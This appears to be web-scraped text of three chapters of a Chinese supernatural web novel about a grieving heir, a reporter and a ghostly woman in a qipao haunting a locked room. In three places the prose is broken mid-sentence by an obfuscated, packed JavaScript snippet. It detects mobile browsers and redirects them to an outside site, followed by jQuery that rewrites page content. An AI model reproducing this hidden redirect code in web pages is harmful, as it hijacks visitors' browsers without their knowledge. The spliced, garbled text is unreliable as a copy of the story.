l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951131|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就见宗叔从楼上下来了。 宗叔愣了下,但很快猜到许修远突然回来的原因。 “小远,你回来了。老爷子在楼上,马上就下来了。” “爷爷怎么突然回来了?医生让他再住两天。” 宗叔听出许修远语气有些不对,轻咳了一声,笑着说道:“老爷子的各项指标都还可以,所以——就想回来了。” 许修远知道宗叔是不可能告诉他真正原因的,特别是和那个房间有关的。 这是爷爷的意思。 他也不再让宗叔为难,于是就点了点头,没再多说什么。 晚饭期间,许修远发现赵敬鸿端详了自己许久,即使被他注意到,赵敬鸿也不紧不慢,丝毫没有尴尬之感。 他猜到应该是爷爷让他这么做的,说白了就是看面相,看时运。小时候,爷爷就请过不少的所谓高人帮他看过,虽然他不相信,但一般都会配合。今天也不例外,他不会在这样的小事情上违拗爷爷的意思。 更何况爷爷现在的身体不太好,更要多顺着他才好。 “姓李的怎么样了,醒了没?” 许修远看了爷爷一眼,“偶尔会睁开眼,但意识还不太清醒,医生说还需要一段时间。” 他知道爷爷在看过事发路段的监控视频之后,对父亲的司机很是怀疑,爷爷疑心这个司机有可能是被商场上的对手收买,故意对他们家下手。 许忠林冷哼了一声,“行车记录仪修好了吗?” “修不好了,坏的太彻底。” 许忠林啪地一声将筷子拍到了桌面上,深吸了一口气,恨恨道:“你让人好好照顾他,一定要让他醒过来!到时候我要亲自问一问他,为什么当时他就突然在那里停车,你父亲到底哪里亏欠他了?” 许修远认为爷爷的怀疑有道理,但是这个司机在许家工作了快二十年,而且基本上都是给父亲开车。父亲对李叔很信任,这么多年一直都没换过司机。 以他对李叔的了解,李叔和家里人都老实本分,这么多年做事也都很谨慎,不像是会被人收买,不惜赌上自己的命,也要害父亲的人。 且不说李叔上有老下有小,这几天他也让人查了李叔及其家里的情况,没有因赌博欠下巨款,也没有人突发重病,家里的房子也好好的,并没有出售。 退一万步讲,即使李叔家真的遇到这些麻烦,如果他开口请父亲帮忙,父亲也不会置之不理的。十几年前李叔的父亲病重,父亲帮忙介绍医生,并且出了医药费。李叔结婚的时候,父亲送了一套新房子,之后又帮李叔的儿子解决了上学的问题。 父亲并没有亏待过李叔,李叔似乎也没有理由要故意害死父亲。 但现在爷爷在气头上,而且李叔也还没醒,事情也没有调查清楚,许修远暂时不打算跟爷爷说这些。 毕竟凡事就怕个万一。 许修远抬眼瞥了一眼坐在他对面的赵先生,爷爷说这些事情一点都没有避讳他,足以见得对这位赵先生的信任了。 “爷爷,这件事我会处理好的,您不用操心,现在最重要的是注意身体。” 他盛了一碗汤,放到爷爷面前,笑着劝道:“吃过饭,我送您回医院再观察上两天——” 不等他说完,许忠林就不乐意地摆了摆手,“我自己的身体自己最清楚,你不用担心我,而且我还有正经事要做,接下来几天你别回来。” 许修远顿了顿,一旁的宗叔忙解释道:“小远,老爷子是怕你最近太忙,累坏了身体,我已经给家庭医生打过电话了,八点他就会过来给老爷子检查,之后几天我会让医生每天都过来的,你放心。” * 刚吃完晚饭没多久,许忠林就把赵敬鸿叫去了二楼的书房说话,上楼前还不忘嘱咐许修远,让他早点回去,并且晚上不许留下来过夜。 许修远见怪不怪,以前只要爷爷请了毕老先生去过三楼,之后的一段时间,他就不会允许他和爸妈留下来过夜。 等到宗叔端着茶也上了二楼,许修远独自一人坐在客厅。 不一会儿,张阿姨从厨房出来,把一盘刚切好的水果放在他面前。 许修远没什么胃口,意思地吃了一块猕猴桃。 “阿姨,你知道我爷爷为什么突然回来吗?” 虽然知道此时客厅只有她和许修远两个人,但张阿姨还是左右瞧了瞧才放心,而后压低声音说道:“那个房间对着后院的窗玻璃突然就有了裂缝,今天早上宗叔回来过,应该是老陈跟他提了这件事。” 老陈是老宅的园丁,平时负责后院。 “知道玻璃是什么时候裂的吗?” “……”张阿姨犹豫了片刻,暗暗叹了口气,“老陈说是五天前就发现了,不过他一直待在后头忙活,宗叔这几天又很少回来,今天才碰上机会告诉宗叔。” 许修远一愣,五天前? 那是父亲车祸的第二天,也是父亲离世的日子。 4. 第 4 章 假期过后,重新回到单位上班,颜珺瑶有一种恍惚感,自己居然这么久都没来工作了。 工作忙碌的时候盼着休息,可真的一下子太闲了,却也甚是想念上班的充实日子。 看着眼前刚擦干净的电脑和办公桌,真是亲切呀! 颜珺瑶正感慨着呢,刚进来的吕嫣一看到她,立马贴了过来,搂着她的脖子开始心疼,一边晃着她,一边说了许多腻歪话。 “呀,亲爱的,你终于回来了,我可想死你啦!” “病了这么久,可真是遭老罪了,不过没事,现在好了,以后就能逢凶化吉,遇难成祥,包的,我跟你保证。” 颜珺瑶感觉自己快被她晃吐了,赶紧拍她的胳膊,“我给你带了好吃的,在你的桌子上。” “啊——是酥饼吗?”吕嫣立即就松开了她的脖子跑了,不到两秒,就听到她激动的声音。 “哇,还真是!还是你最爱我了,每次回老家都给我带。” “慢慢吃!” 颜珺瑶刚打开电脑,吕嫣坐着办公椅就呲溜到她身边,塞给她一大块黑巧。 颜珺瑶不客气地收下了,刚要说话,抬眼就瞥见门口进来的一个微胖身影。 主任来了。 吕嫣立即就呲溜了回去,同时扔下一句,待会儿和你说最近的大新闻。 还是大新闻?颜珺瑶有点好奇了。生病期间,不是睡觉,就是吃饭吃药,摸手机的次数屈指可数,她必然错过了很多新闻。 假期后的第一个工作日,和想象中的差不多,不算特别忙,但也不清闲,不过身边的同事还是“见缝插针”地和她聊了不少最近的新闻。 其中有两个和之前那场车祸有关。 第一个便是在车祸中丧生的那个老人,被人在网上爆出来曾经有过两次入狱经历,而且每次的罪名都是猥亵未成年,受害者还不少。 这件事颜珺瑶在生病时刷到过,但只是看了个大概,没有具体了解过。吕嫣告诉她,这个老头现在在网上都被人骂臭了。不少人都觉得他死了活该,更有甚者认为这种人就不该生出来,活着危害社会,死了还要连累别人,害死了其他无辜的人,真是灾星一般的存在。 另一个则是关于许家的。 个别人为了博眼球,居然敢在微博上造谣车祸其实是许耀中的独子许修远安排的。因为就在车祸发生前不久,父子俩在公司决策上意见相左,并且在公司会议上发生争吵,所以其子为了及早坐上公司的第一把交易,才做出了这种有悖人伦,天理不容的事。 虽然通篇没有点名,但只要知道许家,以及最近车祸的,一眼就能看出来写的是谁。 这个消息一出,许氏集团的法务部立即就把该微博用户给告了。事情闹大了,该用户也被扒出来是在某家专门靠瞎编造谣吸引流量的不入流媒体公司上班。该公司迅速撇清关系,为了息事宁人,把相关的撰稿人给辞退了,并发布声明表示造谣的事与公司无关,只是当事人的个人行为,并且郑重道歉,生怕得罪了许家。 颜珺瑶听到这个新闻,心里就只有大写的两个字,无语。 虽然她不了解这种豪门家族的密辛,对于许家父子的真实关系一无所知,但车祸很明显是个意外。也许当时许家的车子突然停下是事出有因,但那个老头突发心梗,谁又能控制得了呢?但凡老头发病早了几秒,或晚了几秒,许家的车子都不会出事。 怎么就能编出这么离谱的新闻呢? 颜珺瑶觉得有点奇怪,这听着怎么像是有人在背后操刀呢?目的就是为了败坏许耀中儿子的名声。因为这个谣言很容易不攻自破,即使证明是谣言了,但还是实实在在把人膈应到了,而且总有人会相信。 真是豪门是非多啊! * 傍晚,在外出采访回单位的路上,途经许氏集团的大楼,颜珺瑶想起一件事。 “许家有举行追悼会吗?” 师傅江成从副驾驶座转头看了颜珺瑶一眼,“有,不过还是不允许媒体拍摄。之后的葬礼估计也一样,不过应该还早着。” “是啊,”摄像李逸飞接着道,“那些被邀请的都开车进去,没有提前登记过的车子没法进,只拍了外围的风景。” “在哪儿办的呀?” 吕嫣从后排凑到她的耳边,“私人山庄,许家自己的,好像平时就是用来自己家人度假放松的,啧啧,贼有钱——” 李逸飞叹了口气,“只可惜没命享受了,太可惜了,还挺年轻的,就这么走了!” “……” “飞哥,你这话我都不知道该怎么接了。哦,对了——”吕嫣转移话题,“飞哥你不是拍了一张他儿子的照片嘛,快给珺瑶看看,贼帅!” “只是个侧脸,说不定正脸是个歪嘴呢!你没看网上有人画的佩奇正脸吗?”李逸飞呵呵笑起来,“而且我之前不是发给你了嘛,我这会儿手上也没有啊!” “……”颜珺瑶没忍住笑了出来,飞哥说的佩奇正脸图片,她还真看过。 “哎,我当时是在电脑上接收你发的照片,忘记传到手机上了——”吕嫣笑眯眯地看向颜珺瑶,“相信我,真的帅,熙杰可以作证,他也看过。” * 由于清明节值班,没能回老家扫墓,于是假期之后的第一次休息日,张熙杰起了个大早,开车回了乡下。 父母住在镇上,很早就到了爷爷家,帮忙做准备。张熙杰进家门的时候,就瞧见爷爷和父母三人都在客厅等着他,家里分外安静,母亲双眼通红,还在无声落泪。 姐姐三年前因故离世,这件事成了全家人无法愈合的伤口,特别是每年到了姐姐的生日,忌日还有清明节,这个伤口就会再次流血,痛感加倍。 姐姐葬在了奶奶的墓旁边,以往陪着自己扫墓的人,如今却永远沉睡在了地下。一看到姐姐的墓碑,母亲就抱住墓碑,放声痛哭起来,全家人都跟着掉眼泪。 扫完墓,烧完纸钱,张熙杰扶着哭的快要虚脱的母亲往回走。墓旁不远处的草丛里,躺着一束已经枯萎的花,看着像是百合花。张熙杰知道这束花应该是颜珺瑶清明节时给姐姐送的,每年她都会过来看看姐姐,送上一束姐姐最喜欢的百合花。 大概是哪个乱跑上山的大胆小孩拿走了花,然后随手弃在了这里。 呵,人的一生,跟朵花似的。 * 中午吃完饭,爷爷突然开口让张熙杰开车送他去一个地方,却让他先不要问,上路了再告诉他要去哪里。 等到车子开出村子,爷爷终于愿意把地址说了出来。 居然是邻县,一个非常陌生的地方。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951132|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>输入导航,张熙杰忍不住又问了。 “爷爷,你去那,是有什么事吗?” “去看两个人,”爷爷呵呵笑了,“等到了地方,你就知道了。” “……”好吧,这是让他不要再问了的意思,张熙杰只好专心开车。 一个半小时左右,车子进入邻县,继续跟着导航又走了约摸三十分钟,终于到了爷爷所说的龙言村。 但这里还不是目的地,之后由爷爷指路,又绕了一些路才终于到了爷爷想去的地方。 银相山。 说是山,但从高度来看,应该就是个丘陵。 张熙杰仰头瞧了瞧,爷爷说来这儿是要看望两个人,该不会是要祭拜什么人吧? 果然如此。 当他再一次问爷爷,到底来这儿是要做什么,爷爷的回答是:“我的恩人埋在这里,好久没来看他们了。” 说完之后,便提起他带来的黑色行李包。 恩人?这还是第一次听爷爷提起。 爷爷是孤儿,他口中的恩人,该不会是曾经养育过他的人,或是师傅? 张熙杰不放心爷爷一个人上山,还提着一个看起来挺有分量的包,打算也跟着上去,说话就伸手要去帮忙拎包。 爷爷却推开了他的手,坚决不让他上去。 张熙杰无奈,“爷爷,您的恩人,就是我的恩人,我上去给恩人磕个头,这都到山脚下了。” 反正来都来了。 爷爷欣慰地看着自己的孙子,“你有这份心就可以了,等到爷爷以后来不了了,你就代替爷爷来祭拜他们。但今天,你不能上去,而且你要答应爷爷,今天的事不能告诉你爸妈,不用问原因,以后我会告诉你的。” “……好,我不会说出去。” “乖乖回车上等。” 返程回到家里,已经是晚饭时间了。 爸妈在饭桌上问起爷爷下午帮忙处理的事情麻不麻烦,张熙杰这才知道爷爷是用了什么理由。 爷爷懂得一些什么阴阳风水方面的东西,所以一直以来都会有人来请爷爷去帮忙处理这方面的问题。 张熙杰看看爷爷,又瞅了瞅爸妈,低头继续吃饭。 爷爷都把事情告诉他了,为什么不打算告诉爸妈呢? 深夜,张熙杰刷累了手机,终于关了灯睡觉。自从当了记者之后,他的睡眠质量就不如从前,很容易被惊醒。 就像今晚,突如其来的吱呀一声,让他瞬间睁开眼睛。 是从楼下传来的开门声。 紧接着又是一声,这次应该是关门。 进贼了? 张熙杰腾地从床上跳起,冲向窗口,往下一望。 居然是爷爷。 他很是诧异,这么晚了,爷爷这是要去哪儿? “爷爷——”张熙杰压着嗓子,低低地喊了一声。 爷爷正要去开院门,听到这一声,吃了一惊,忙转身往楼上瞧。 张熙杰朝他挥了挥手,而后快步跑到楼下。还不等他说话,爷爷脸色就变得有些不好看。 “这么晚怎么还不睡?跟下来做什么?” “……”所以爷爷是特意等到他和爸妈都睡下了,才偷偷出的门? 到底什么事情值得让他这么神神秘秘,小心翼翼呢? 5. 第 5 章 张熙杰瞥了一眼爷爷手上的黑色袋子,袋子扎的紧,看不到里头是什么东西。 他清了清嗓子,“我不放心您,所以下来看看——您这么晚是要去哪里?” 爷爷紧紧蹙着眉,语气有些冲,“你赶紧回去睡觉,我有自己要做的事,马上就回来了,不会出事。” 张熙杰知道爷爷生气了,不敢违拗他的意思,回了屋里,一直待在一楼等着。 爷爷口中的马上,差不多将近一个小时。 他松了一口气,也没再多问,突然间就闻到爷爷身上居然有烧东西的味道。他立马反应过来是怎么回事,无奈道:“爷爷,你要祭拜谁啊,怎么还专挑晚上去啊,等明天大白天不是更方便嘛,而且我还能陪您去!大晚上的,搞得这么神神秘秘,像做贼似的——” 闻言,爷爷一瞬不瞬地看看着张熙杰,许久之后才露出一丝笑意。 “等爷爷走了,你要替爷爷去祭拜他们。” 张熙杰啧了一声,“爷爷你怎么又说这种话,刚才下午说,现在大晚上的也说,我都还没结婚,您也还没当太爷爷,怎么老说这么不吉利的话,也不嫌忌讳!” 爷爷轻声笑了笑,“早点休息吧,爷爷好得很,不用担心!” * 重新上班有一段时间,颜珺瑶觉得自己的生活恢复到了从前,还没亲眼目睹那场车祸,也没有看到那个小女孩之前的日子。 上班时每天忙着跑采访,写稿子,剪片子,时不时回家里蹭吃的,休息时和朋友吃饭逛街。而之前那段生病的那段时间,似乎只是她平静生活的一个小插曲,一个小bug而已,修复之后就不再对她的生活有所影响了。 她琢磨过一件事,那就是自己突然反复发烧,会不会和看到那个小女孩有关呢?那个孩子不存在已经是确定无疑的,自己当时就是见鬼了。 她听过一个说法,撞邪的人很多身体都会出现问题,最常见的貌似就是发烧。 不管是不是,幸好现在再也没有发过烧,也没有再梦到那个旗袍女人。 以前她对于鬼神之说,还只是秉持着敬而远之的想法,说白了,其实就是不太相信。但亲身经历之后,她才算是真正长了“见识”! * 晚上八点多,颜珺瑶刚打算去洗澡,就接到江成的电话。挂了电话,颜珺瑶立马就换了衣服,迅速出门。 又是一起车祸,还好不是很严重。一个十五六岁的未成年的男孩偷偷开了家里的摩托车,却被酒驾的一名中年司机撞到。男孩的右胳膊严重擦伤并且骨折,不仅如此,男孩因惊吓过度,哮喘病发作。幸亏被路过的一名护士及时发现,及时从男孩身上找到了哮喘药给用上了,而且第一时间报了警,还拨了120。 酒驾司机一开始因为害怕就逃逸了,但没想到的是半小时之后又回到了撞车发生的地点,碰上了赶到现场的警察和记者。 中年司机又是哭又是笑的,哭的时候一把鼻涕一把泪,不一会儿又憨憨地笑起来,说着说着就又哭起来。 “我以为自己撞死人了,幸好没死,幸好没死——还好我勇敢地回来了,我是有担当的人,我是个好人,真的——” 这状态,即使不用吹气,也能看出来着实是喝多了。 颜珺瑶:“……” 她咬了咬下唇,努力不让自己笑出来,自己是个专业的记者,不能笑,绝对不能笑。 挪开视线,不期和张熙杰的眼神对上。 两秒过后,两人迅速各自扭头看向别处,生怕晚了一秒就要笑出来。 好吧,她和张熙杰都不够专业。 结束采访,正要收拾东西上车的时候,颜珺瑶突然发现这里距离上次三车连撞的事故现场很近,往前再走十几二十米就到了。 她情不自禁地向那边走去,脑子里蓦地冒出一个念头。 如果自己真的流年不利的话,还会不会再一次看到那个小女孩呢? “珺瑶,你干嘛去?” 颜珺瑶即刻回神,愣愣地站在原地。 时隔一个多月,车祸当晚,自己在医院八楼时猛然间被手机铃声唤醒时的感觉又出现了。 她明明是清醒的,可刚刚那一瞬间,真的有一种神魂归体的感觉,让她顷刻间有了自己的意识,并且能控制自己的意识。 颜珺瑶用力揉了揉太阳穴,是啊,自己要干嘛去呢? 不是很害怕吗?为什么这大晚上的,反而想要过去看看,甚至向再一次碰到那个小女孩呢? 真是有点神经了。 就算真的看到了又怎么样,难道自己还打算采访对方不成? 如果又出现之前反复发烧的情况,不是又要遭一次罪吗?如果—— 如果被缠上了,那自己又该怎么办呢?会不会自己也会和许耀中一样,发生车祸呢? 颜珺瑶被自己吓了一激灵,赶紧甩掉脑子里这些有的没的。 “哎,这段时间这附近车祸确实有点多啊,”张熙杰走到颜珺瑶身边,顺着她的视线方向看去,叹了口气。“幸好今天这个男孩发现及时,没有生命危险。可惜了许家的那位,那么一位在商界叱咤风云的人物,就那么没了。” 张熙杰开车送颜珺瑶回家,一路上发现她没什么精神,话也比平时少,便问她饿不饿,要不要去吃点东西。 颜珺瑶摇摇头,不饿,就是有点累,有点闷。 说着,就把车窗降了下来。 想起一个多月前颜珺瑶的身体状况,张熙杰有点不放心。 “是不是哪里不舒服,要不去医院看看?” 颜珺瑶笑嘻嘻道:“没事,我已经彻底好了,最近都没再发过烧。” 回到家里,已经十一点了。钱艺文还没睡,见到颜珺瑶回来,就要张罗着给她准备夜宵。 颜珺瑶没什么胃口,喝了杯牛奶就去洗澡了。 从浴室出来,坐在梳妆台前,她先瞅了一眼镜子中的自己,突然有点嫌弃自己。 啧啧,皮肤缺水缺的呀! 于是打算睡前贴个面膜,她正要打开梳妆台下面的柜子,找找那些许久未用的面膜都被自己塞到了哪里,蓦地,她浑身一僵,瞬间屏住自己的呼吸,因为—— 她感觉自己的身后——似乎有人。 * 司机终于醒了,在昏迷了三十五天之后。 许修远赶到医院,李文明一见到他便激动起来,撑着要从床上坐起,许修远握着他的手,让他躺着说话。 李文明一面流泪,一面讲述了车祸当天所发生的事情。 其实当天的情况说起来确实有点奇怪,就是在快到事发路段时,坐在后座的许耀中突然就急切地喊他停车,说是撞到了一个孩子。但李文明根本就没看到前头有人,不过还是按照许耀中的要求停了车,车刚停下,他正要转头询问许耀中,车祸就发生了。 许修远听完之后,沉默了片刻。 这个说法在他的预料之外,也让他不是太能接受。 车祸后续是他亲自处理的,他看过监控录像,很确定当时父亲的车前并没有人。而且父亲的身体很健康,头脑清楚,绝对没有精神类的疾病以至于产生幻觉或错觉。 可李叔言之凿凿,声泪俱下,神情哀痛,丝毫不似作伪。但如果这是临时编的话,未免有些太过荒唐,无法让人信服,李叔不会糊涂到这个地步。 如果李叔是说谎的话,那刚刚那一出声情并茂,只能说明李叔的演技太好了。 但可能吗? 离开医院,许修远第一时间给爷爷去了电话,告诉爷爷李叔醒了的消息,但出现暂时性失忆,医生说还需要时间才能完全恢复。 许忠林在电话那头一言不发,最后只嘱咐许修远一定要治好他。 许修远虽然不能接受李叔给出的说法,但他也不想冤枉了李叔。他决定先瞒住爷爷,利用这段时间再好好查一查,如果李叔真的有问题—— 父亲的事情总会有个结果。 * 梁舒惠的生日到了,但因着丈夫刚离世不久,她还无法走出伤痛,也压根不记得自己生日的事情。 许忠林清楚儿媳憔悴了不少,就让许修远在生日那天把梁舒惠叫来老宅,一家人一起吃顿饭,权当给她庆生。 当天正好是周六,许修远和梁舒惠上午便回了老宅。许忠林特意嘱咐阿姨给做了一碗长寿面,以及一桌子梁舒惠爱吃的菜,之后又建议她出去散散心,不要一直闷在家里。 梁舒惠很感激老爷子对自己的关心,便答应了。 吃完饭,梁舒惠先回去了,临走前嘱咐儿子多陪陪爷爷。 这次许修远留下来过夜,许忠林倒是没有反对。 晚饭时,许忠林和许修远聊起公司的事情。之前网上的那些谣言,包括后续的一些专门针对许修远的事情,其实是公司里的某些股东使的不入流的手段。无非就是担心许修远代替了他父亲,坐上了总裁的位置,让公司依旧姓许家的姓,所以几人才联手反对许修远立即接任总裁的位置。 不过他们的把戏也只是徒增笑耳。许氏集团的主要股权一直都是许家的,而且许忠林还是公司最大的股东以及董事长。最重要的是,许修远是靠自己的实力得到众多股东的信任,在董事会上以压倒性的投票当选,因为他的实力有目共睹。 这段时间,公司内部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15951133|177567||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个牛鬼蛇神作怪,许修远很是花了一番心思才制服。许忠林对许修远的能力很放心,即使真的遇到了什么困难,也还有自己支持他。 许忠林目前心里最大的疙瘩就是许耀中的车祸,于是又在饭桌上问了,得到的答案和之前一样。 “记忆还没恢复,他自己也很着急,医生说了,越着急可能越会适得其反。爷爷,这个急不来,你放心,这件事我会一直盯着的。” 关于父亲车祸的调查还在继续,这几天反馈回来的信息,都说明李叔是没有问题的。 许修远也颇为苦恼,如果李叔没有撒谎,那就只剩一种可能,父亲当时见鬼了。 可这可能吗? 不可能。 * 深夜,许修远躺在床上,许久睡不着。他想着父亲的车祸,琢磨着还能从哪些地方入手调查。 蓦地,楼上传来“砰”的一声。 许修远腾地坐了起来,再仔细一听,没有了动静。 刚才那是什么声音? 好像是——对,很像是椅子倒地的声音。 是谁摔了? 一想到这,他赶紧下床,出了房间,可老宅里此刻万籁俱静,刚才那突兀的一声,像是他的错觉。 他正要往爷爷房间去,倏地又顿住脚步。 刚才那声音好像是从楼上传来的,三楼,而爷爷和宗叔和自己一样,都住在二楼。 为求稳妥,他先后去了爷爷和宗叔的房门口,房间里只有睡觉的呼噜声。 许修远放心了,不是他们摔倒就好。 也许是自己听错了。 瞧了瞧楼梯口,许修远还是去三楼走了一圈,几乎所有房间都打开看了看,没有不对劲的地方,也没再听到那个声音。 除了走廊尽头的那个房间。 他走到门口,按下门把手,门没打开,依旧被锁着。贴到门板上听了听,似乎没什么异常。 * 翌日,许修远又留在了老宅,许忠林虽然嘴上没说什么,但脸上的笑容明显比平时多了不少。 午饭后,等到爷爷回房午睡,许修远特意问了宗叔,昨晚是否听到了什么声音。 宗叔诧异,一整个晚上一晚上都挺安静的,没什么动静。 许修远知道宗叔睡眠很浅,昨晚那一声在深夜的时候动静不算小,如果他真的听到了,估计会被吵醒。 可宗叔却没听到。 奇哉怪也,看来真有可能是自己幻听了。 宗叔以为许修远没睡好,说着就要去给他泡茶。 许修远忙说不用,略一犹豫,又问道:“宗叔,你知道楼上那个房间为什么一直锁着吗?” 宗叔的神色蓦地有些不自然,只说自他来了到许家工作以来,那个房间老爷子就一直让锁着的。 许修远知道从宗叔这里问不出什么来,也就没再多问。 当天晚上,许修远刚入睡没多久,就被楼上的动静给惊醒了。 他很肯定,是和昨晚同样的“砰”一声,而且是从三楼传下来的。 许修远下了床,想了想,于是打开衣柜,从一件明显偏小的大衣口袋里摸出一个东西。 是一把钥匙。 外形和平日常见的钥匙差别较大,像是旧时代西洋房用的钥匙。 这是他小时候偷偷溜进爷爷的房间,拿了钥匙出去配的。之后趁着其他人不注意,进了三楼的那个房间。记忆中那里并没什么特别的,此后那个房间就对他失去了吸引力。 出了房间,轻手轻脚来到三楼楼梯口,就在此时,“砰”的又是一声。 非常清晰。 许修远一怔,目光不由自主地望向右边的走廊。 声音是从这个方向传来的。 许修远一步步往走廊尽头走去,最后停在那个房间门口。 “砰——” 一切都有了答案。 深吸一口气,许修远将钥匙插入了锁孔,转动,咔嚓一声,门开了。 门被缓缓推开,视线探入,只一瞬,许修远突然就动不了了。 一个穿着旗袍,绾发插簪,身形窈窕的女人,正背对着他坐在梳妆台前,慢慢地转过身,眼波似水,柔情款款地对着他展开笑容,而后语调轻柔地喊了一声:“君平——” 倏地,旗袍女人消失不见,许修远还未从震惊中缓过神来,眼前的一切蓦地就变成了一个现代化装修的房间。而梳妆台的位置,此刻正坐着一个年轻女孩。 她穿着睡衣,松松地绑着低马尾,猛地转过身来。 在看到他的那一刻,年轻女孩惊恐地大叫起来。 “啊——” 6. 第 6 章 颜珺瑶迅速回头,却看到自己房间的门口站在一个穿着睡衣的年轻男人。 “啊——” 她无法控制地惊叫起来,整个后背贴到梳妆台上,然而更诡异的事情发生了。 那个年轻男人倏地消失不见了。 “……” 颜珺瑶双腿发软,几乎快要站不起来。扶着梳妆台慢慢站直,双眼死死盯着房间门口。 没人,真的没人。 她使劲地揉了揉自己的双眼,那里还是没人。 所以刚才自己真的见到了一个男人,站在自己房间门口吗? 颜珺瑶正胡思乱想着,房门就被敲响了。 “瑶瑶,出什么事了?”是妈妈的声音。 “妈——”颜珺瑶三步并作两步跑到房间门口,迅速打开了门,抓着妈妈的胳膊,着急道:“妈,今晚我想跟你一起睡——” 说着就要拉着钱艺文离开房间。 钱艺文一愣,随即点头答应,只是这孩子现在这脸色,这么着急—— “做噩梦了?” “……是啊,是啊——”颜珺瑶趁机附和道,“给我吓坏了,老爸正好出差了,我今晚想去你房间睡——” 钱艺文啧了一声,“不是跟你说过,不要一洗完澡就躺下睡觉,要等上一会儿——” “好的,好的,我记住了——” 颜珺瑶生怕老妈发现床上的被子还很整齐,急忙带上了房门,去了爸妈房间。 * 年轻女孩惊恐地尖叫声,瞬间让许修远清醒过来。他下意识地就要去关门,但他的手刚触到门把手,房间内的一切再次变了。 那个现代化装修的房间不见了,穿着睡衣的年轻女孩也随之消失,视线所及,重新变成了最初的样子。 一个无人的房间。 许修远愣了两秒,迅速关上门,揉了揉额角,深吸了一口气,再次推开面前的这扇门。 眼前只有一间民国风的房间。 旧时代的西洋家具,能看出曾经的精致奢华,但已经很有些年头,透着些许老旧。不过到处都很整洁干净,看来是有人定期打扫。 和儿时记忆中的相差无几。 没有那个旗袍女人,也没有那个穿着睡衣的年轻女孩,好似什么没有发生过一样。 许修远不相信刚刚看到的一切是自己的幻觉,如果真的是幻觉,那自己离变成疯子也不远了。 难道这个世界上真的有鬼? 可刚刚那个睡衣女孩,在回头见到自己的那一刻,脸上的惊恐、震惊与不可思议,分明就是人才有的反应。那个旗袍女人,以及她口中所喊的“君平”又是谁? 为什么旗袍女人和睡衣女孩两人的长相如此相似呢? * 第二天早晨的餐桌上,许忠林见许修远有些没精神,问他昨晚是不是太晚休息。 许修远昨晚确实没睡好,从三楼回到房间之后就没怎么睡着。 “看了会儿书——”他没否认,而后状似随意地问道:“对了,爷爷,昨晚上你们有听到什么动静吗?” “没有——”爷爷愣了下,随即反问:“你听到了什么?” 许修远看向老管家,“宗叔也没听到吗?” 宗叔皱了皱眉,摇头,这几天晚上都很安静。 昨晚那个年轻女孩的尖叫声那么大,正常情况下,爷爷和宗叔是不可能没听到的,可现在看来,似乎只有他一个人听到了。 前天晚上,也是如此。 许修远叹了口气,“这几天估计是睡得太晚,总觉得耳边不清净。” 许忠林没再多问,只是嘱咐道:“晚上早点休息,别以为年轻就可以随意挥霍身体。” 许修远笑着答应了,等到早饭结束了,许忠林正准备站起身离开餐桌,他突然又开口了。 “对了,爷爷,楼上那个房间怎么一直锁着,里面是放什么的?” 一旁的宗叔闻言,忙向许修远摇头,示意他不要在老爷子面前提那个房间。 许修远佯装没看到,等着爷爷的回答。 许忠林一下子变了脸色,拉下了脸,“你怎么突然问起这个?你进去了?” “没有,我要是进去过,就不会问了,就是好奇那里怎么就一直锁着。” “里头就是放了一些陈年的杂物,都是一些没用的东西,自然锁着。”许忠林抬头看了眼墙上的挂钟,“吃好了就去公司吧,让司机慢点开车。” 杂物?即使他没进去看过,这个说法也无法让他信服。 如果只是放杂物,为什么要这么讳莫如深?如果是没用的杂物,为什么要锁上? 这幢老宅在他印象里,应该是至少翻修过一次,只有那个房间一直保持着原样,连房门锁都还是老式的。 爷爷还在把他当小孩子哄骗呢! 许修远点点头,“嗯,我会嘱咐司机的。” 宗叔扶着许忠林出了餐厅,许忠林低声嘱咐道:“这孩子应该是晚上听到了什么,和赵先生打个电话,请他待会儿过来一趟。” * 许修远脑子里挥之不去的两个字,君平,以及那两个陌生的女人。 不,也许是同一个人,他并不确定。 尤其是那个穿着旗袍的女人,在看到她的第一眼,他就像是进入了旧时代,让他想起了小时候在家里翻到的,那些太奶奶和奶奶留下的几十年前杂志中的女明星。 看她的整体装扮,确实像是民国年间的人。 按照年代来推算,那这个所谓的“君平”,会不会是自己太爷爷那一辈的人呢? 可太爷爷不是这个名字,而且家里也没有君字辈的。 这个旗袍女人又和“君平”是什么关系呢?妻子?女朋友?红颜知己? 傍晚饭后,许忠林让许修远陪他散散步,回来之后又让宗叔泡了茶,爷孙俩坐在院子里一边喝茶,一边下棋。 许修远落下一子,抬眸瞥了一眼对面的爷爷,爷爷的注意力正在棋盘上。 他轻咳一声,喝了口茶,顿了顿,开口问道:“爷爷,我们家以前是不是都是按字辈来取名字呢?” “是啊,不过你们现在年轻人都不喜欢按这套规矩来取名了,所以也就传到了你父亲这里,你的名字还是你妈妈给起的,我们也尊重你妈妈的意见。” “那有没有例外的呢?” “例外——”许忠林的视线微微一动,脑子里闪过一个名字。 